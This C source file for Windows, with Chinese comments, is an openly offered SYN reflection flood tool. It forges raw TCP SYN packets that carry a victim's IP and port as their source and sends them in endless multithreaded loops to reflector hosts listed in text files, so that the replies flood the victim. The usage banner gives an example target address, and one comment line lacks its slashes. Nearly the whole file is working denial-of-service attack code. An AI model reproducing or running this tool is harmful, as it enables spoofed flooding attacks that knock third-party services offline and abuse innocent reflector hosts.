#define DEBUGMSG
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32.lib")
#define erron GetLastError()
#define WSAerron WSAGetLastError()
typedef struct iphdr //IP首部
{
UCHAR Verlen; //4位版本号+4位长度
UCHAR Tos; //8位服务类型TOS
USHORT Total_len; //16位总长度
USHORT Idnet; //16位标识
USHORT Flags; //16位标志
UCHAR Ttl; //8位TTL
UCHAR Proto; //8位协议
USHORT Checksum; //16位校验和
ULONG SourceIP; //32位源地址
ULONG DestIP; //32目的地址
}IPHDR,*PIPHDR,*LPIPHDR;
typedef struct tcphdr //TCP首部
{
USHORT Sport; //16位源端口
USHORT Dport; //16位目的端口
ULONG Seq; //32位序列号
ULONG Ack; //32位识别号
UCHAR Lenres; //4位长度+6位保留字
UCHAR Flags; //6位标志
USHORT Winsize; //16位窗口值
USHORT Checksum; //16位校验和
USHORT Urp; //16位紧急数据偏移量
}TCPHDR,*PTCPHDR,*LPTCPHDR;
typedef struct psdhdr //TCP伪首部
{
ULONG Saddr; //32位源地址
ULONG Daddr; //32位目的地址
TCHAR mbz; //没用
TCHAR Protol; //协议
USHORT Tcplen; //长度
}PSDHDR,*PPSDHDR,*LPPSDHDR;
typedef struct drdossyninfo //参数结构
{
UINT TimeOut; //超时时间
UINT IPListNum; //IP列表计数器
UINT PortListNum; //端口列表计数器
ULONG AttackSourceIP; //目的IP,设置为源IP
USHORT AttackSourcePort; //目的端口,设置为源端口
TCHAR DestIP[1986][16]; //存放IP列表,反射源,设置为目的IP
TCHAR DestPort[1986][8]; //存放端口列表,反射源,设置为目的端口
}DRDOSSYNINFO,*PDRDOSSYNINFO,*LPDRDOSSYNINFO;
DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos);
//洪水攻击主函数
USHORT checksum(USHORT *buffer, int size);
//计算校验和
void Usage (LPCTSTR Parameter);
//帮助函数
int main (int argc, TCHAR *argv[])
{
DRDOSSYNINFO DrDosSynInfo; //参数结构
HANDLE hThread[MAX_PATH]; //线程句柄
UINT MaxThread=0,ThreadNum=0; //线程最大值和线程计数器
UINT DestNum=0; //目的IP和端口的计数器
TCHAR StdinIP[16]={0},StdinPort[8]={0}; //存放目的IP和端口
TCHAR *Find=NULL;
FILE *fp=NULL;
if (argc<=2)
{
Usage(argv[0]);
return 0;
}
//IP不能大于15
if (strlen(argv[1])<=15)
DrDosSynInfo.AttackSourceIP=ntohl(inet_addr(argv[1]));
else
{
#ifdef DEBUGMSG
printf("Internet address no larger than \"15\"\n");
#endif
return 0;
}
//端口不能小于0和大于65535
if (atoi(argv[2])>0&&atoi(argv[2])<65535)
DrDosSynInfo.AttackSourcePort=atoi(argv[2]);
else
{
#ifdef DEBUGMSG
printf("Port no less than \"0\" and larger than \"65535\"");
#endif
return 0;
}
//发送超时
if (argc>3)
DrDosSynInfo.TimeOut=atoi(argv[3]);
else
DrDosSynInfo.TimeOut=666; //默认
//线程最大值
if (argc>4)
{
if (atoi(argv[4])<=sizeof (ULONG)*8)
MaxThread=atoi(argv[4]);
else
{
#ifdef DEBUGMSG
printf("Thread num no less than \"%d\"\n",sizeof (ULONG)*8);
#endif
return 0;
}
}
else
MaxThread=1; //默认
//参数太多了
if (argc>5)
{
Usage(argv[0]);
return 0;
}
#ifdef DEBUGMSG
//输出参数的详细信息
fprintf(stderr,"AttackIP:%s\n"
"AttackPort:%d\n"
"TimeOut:%d\n"
"MaxThread:%d\n",argv[1],DrDosSynInfo.AttackSourcePort
,DrDosSynInfo.TimeOut,MaxThread);
#endif
fp=fopen("DestIP.txt","r"); //打开存放目的IP的文件
if (fp==NULL)
{
#ifdef DEBUGMSG
printf("Open \"DestIP.txt\" fail\n");
#endif
return 0;
}
//检测EOF
while (!feof(fp))
{
//读取目的IP到StdinIP
fgets(StdinIP,sizeof (StdinIP),fp);
Find=strchr(StdinIP,'\n'); //查找\n
if (Find)
*Find='\0'; //替换为\0
//拷贝到结构中
strcpy(DrDosSynInfo.DestIP[DestNum],StdinIP);
//printf("DestIP:%s\n",DrDosSynInfo.DestIP[DestNum]); //输出目的IP
DestNum++; //计数器递增
if (DestNum==1986) //数组满了,跳出循环
{
printf("IP Array full\n");
break;
}
}
DrDosSynInfo.IPListNum=DestNum-1; //总共读取了多少IP
printf("\nIP List total num:\t%d\n",DestNum); //输出总共读取了多少IP
DestNum=0; //重新置0,以便用于读取端口
fclose(fp); //关闭文件指针
fp=fopen("DestPort.txt","r"); //打开存放目的端口的文件
if (fp==NULL)
{
#ifdef DEBUGMSG
printf("Open \"DestPort.txt\" fail\n");
#endif
return 0;
}
while (!feof(fp))
{
//读取目的端口到StdinPort
fgets(StdinPort,sizeof (StdinPort),fp);
Find=strchr(StdinPort,'\n');
if (Find)
*Find='\0';
strcpy(DrDosSynInfo.DestPort[DestNum],StdinPort);
//printf("DestPort:%s\n",DrDosSynInfo.DestPort[DestNum]);
DestNum++;
if (DestNum==1986)
{
printf("Port Array full\n");
break;
}
}
DrDosSynInfo.PortListNum=DestNum-1; //总共读取了多少端口
printf("Port List total num:\t%d\n",DestNum); //输出总共读取了多少端口
//现在结构中已经有了反射源,呵呵
Sleep(500);
printf("\nStarting......\n");
//循环创建攻击线程
for (ThreadNum=0;ThreadNum<MaxThread;)
{
hThread[ThreadNum]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)DrDosSynFlooder,
(LPVOID)&DrDosSynInfo,0,NULL);
if (hThread[ThreadNum]==NULL)
{
#ifdef DEBUGMSG
printf("CreateThread() GetLastError reports %d\n",erron);
#endif
goto Clean;
}
ThreadNum++;
Sleep(500); //等待线程初始化完毕
}
printf("Input ctrl+c for exit\n"); //CTRL+C退出
WaitForMultipleObjects(ThreadNum,hThread,TRUE,INFINITE);
Clean:
if (hThread!=NULL)
CloseHandle(hThread); //释放线程句柄
if (fp!=NULL) //关闭文件指针
fclose(fp);
return 0;
}
DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos)
{
LPDRDOSSYNINFO lpDrDosSynInfo=(LPDRDOSSYNINFO)lpdrdos;
WSADATA wsadata;
SOCKET sock=NULL;
struct sockaddr_in sai;
TCHAR DestHost[16]={0},DestPort[8]={0}; //目的IP和目的端口
IPHDR ipHeader; //IP首部
TCPHDR tcpHeader; //TCP首部
PSDHDR psdHeader; //TCP伪首部
BOOL Flag=TRUE;
UINT IPNum=0,PortNum=0; //目的IP和目的端口计数器
int DataSize=0,TimeOut=0;
int dSyn=0,nRet=0;
nRet=WSAStartup(MAKEWORD(2,2),&wsadata); //初始化
if (nRet)
{
#ifdef DEBUGMSG
printf("WSAStartup() error: %d\n",nRet);
#endif
return 0;
}
sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); //建立SOCKET
if (sock==INVALID_SOCKET)
{
#ifdef DEBUGMSG
printf("socket() GetLastError reports %d\n",WSAerron);
#endif
goto Clean;
}
//设置IP_HDRINCL,自己填充数据包
nRet=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&Flag,sizeof (Flag));
if (nRet==SOCKET_ERROR)
{
#ifdef DEBUGMSG
printf("Set IP_HDRINCL\n");
printf("setsockopt() GetLastError reports %d\n",WSAerron);
#endif
goto Clean;
}
//设置发送超时
TimeOut=lpDrDosSynInfo->TimeOut;
nRet=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof (TimeOut));
if (nRet==SOCKET_ERROR)
{
#ifdef DEBUGMSG
printf("Set SO_SNDTIMEO\n");
printf("setsockopt() GetLastError reports %d\n",WSAerron);
#endif
goto Clean;
}
//填充地址结构
memset(&sai,0,sizeof (sai));
sai.sin_family=AF_INET;
for (IPNum=0,PortNum=0;;IPNum++,PortNum++)
{
TCHAR SendBuf[256]={0}; //发送缓冲
//从结构中提取出目的IP,并拷贝到DestHost中,作为反射源
strcpy(DestHost,lpDrDosSynInfo->DestIP[IPNum]);
//printf("%s\n",DestHost);
//从结构中提取出目的端口,并拷贝到DestPort中,作为反射源
strcpy(DestPort,lpDrDosSynInfo->DestPort[PortNum]);
//printf("%s\n",DestPort);
sai.sin_port=htons(atoi(DestPort));
sai.sin_addr.s_addr=inet_addr(DestHost);
//填充IP首部
ipHeader.Verlen=(4<<4 | sizeof (ipHeader)/sizeof (ULONG));
ipHeader.Tos=0;
ipHeader.Total_len=htons(sizeof (ipHeader)+sizeof (tcpHeader));
ipHeader.Idnet=1;
ipHeader.Flags=0;
ipHeader.Ttl=128;
ipHeader.Proto=IPPROTO_TCP;
ipHeader.Checksum=0;
ipHeader.SourceIP=htonl(lpDrDosSynInfo->AttackSourceIP); //受害者IP
ipHeader.DestIP=inet_addr(DestHost); //目的IP
//填充TCP首部
tcpHeader.Sport=htons(lpDrDosSynInfo->AttackSourcePort); //受害者端口
tcpHeader.Dport=htons(atoi(DestPort)); //目的端口
tcpHeader.Seq=1986;
tcpHeader.Ack=1;
tcpHeader.Lenres=(sizeof (tcpHeader)/4<<4|0);
tcpHeader.Flags=2;
tcpHeader.Winsize=1986;
tcpHeader.Checksum=0;
tcpHeader.Urp=0;
//填充TCP伪首部
psdHeader.Saddr=ipHeader.SourceIP;
psdHeader.Daddr=ipHeader.DestIP;
psdHeader.mbz=0;
psdHeader.Protol=IPPROTO_TCP;
psdHeader.Tcplen=htons(sizeof (tcpHeader));
//计算TCP校验和
memcpy(SendBuf,&psdHeader,sizeof (psdHeader));
memcpy(SendBuf+sizeof (psdHeader),&tcpHeader,sizeof (tcpHeader));
tcpHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (psdHeader)+sizeof (tcpHeader));
计算IP校验和
memcpy(SendBuf,&ipHeader,sizeof (ipHeader));
memcpy(SendBuf+sizeof (ipHeader),&tcpHeader,sizeof (tcpHeader));
memset(SendBuf+sizeof (ipHeader)+sizeof (tcpHeader),0,4);
DataSize=sizeof (ipHeader)+sizeof (tcpHeader); //数据包大小
ipHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (ipHeader)+sizeof (tcpHeader));
memcpy(SendBuf,&ipHeader,sizeof (ipHeader));
//发送出去
dSyn=sendto(sock,SendBuf,DataSize,0,(struct sockaddr*)&sai,sizeof (sai));
if (dSyn==SOCKET_ERROR)
{
#ifdef DEBUGMSG
printf("sendto() GetLastError reports %d\n",WSAerron);
#endif
goto Clean;
}
//IP读取到了末尾,重新置0
if (IPNum==lpDrDosSynInfo->IPListNum)
IPNum=0;
//端口,其他同上
if (PortNum==lpDrDosSynInfo->PortListNum)
PortNum=0;
}
Clean:
if (sock!=NULL) //关闭SOCKET
closesocket(sock);
WSACleanup();
return 1;
}
USHORT checksum(USHORT *buffer, int size)
{
ULONG cksum=0;
while(size >1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size)
cksum+=*(UCHAR*)buffer;
cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum>>16);
return (USHORT)(~cksum);
}
void Usage (LPCTSTR Parameter)
{
fprintf(stderr,"============================================================================\n"
" dahubaobao洪水程序之---Syn反射洪水攻击\n"
"环境:Win2K Adv Server + Visual C++ 6.0\n"
"作者:dahubaobao[EST]\n"
"主页:[url]www.eviloctal.com or [url]www.RingZ.org[/url][/url]\n"
"OICQ:382690\n"
"邮件:[email]dahubaobao@eviloctal.com[/email]\n"
"声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!\n\n"
"使用方法:\n"
"%s 目标IP 目标端口 发送超时 线程最大值\n"
"例:%s 218.68.19.86 80 888 10\n\n"
"注意事项:\n"
"程序的反射源由\"DestIP.txt\"和\"DestPort.txt\"提供\n"
"用于保存反射源的数组大小为1986,所以不要超过这个大小\n"
"本程序只是用做代码交流,如有错误,还请多多包含!\n"
"============================================================================"
,Parameter,Parameter);
}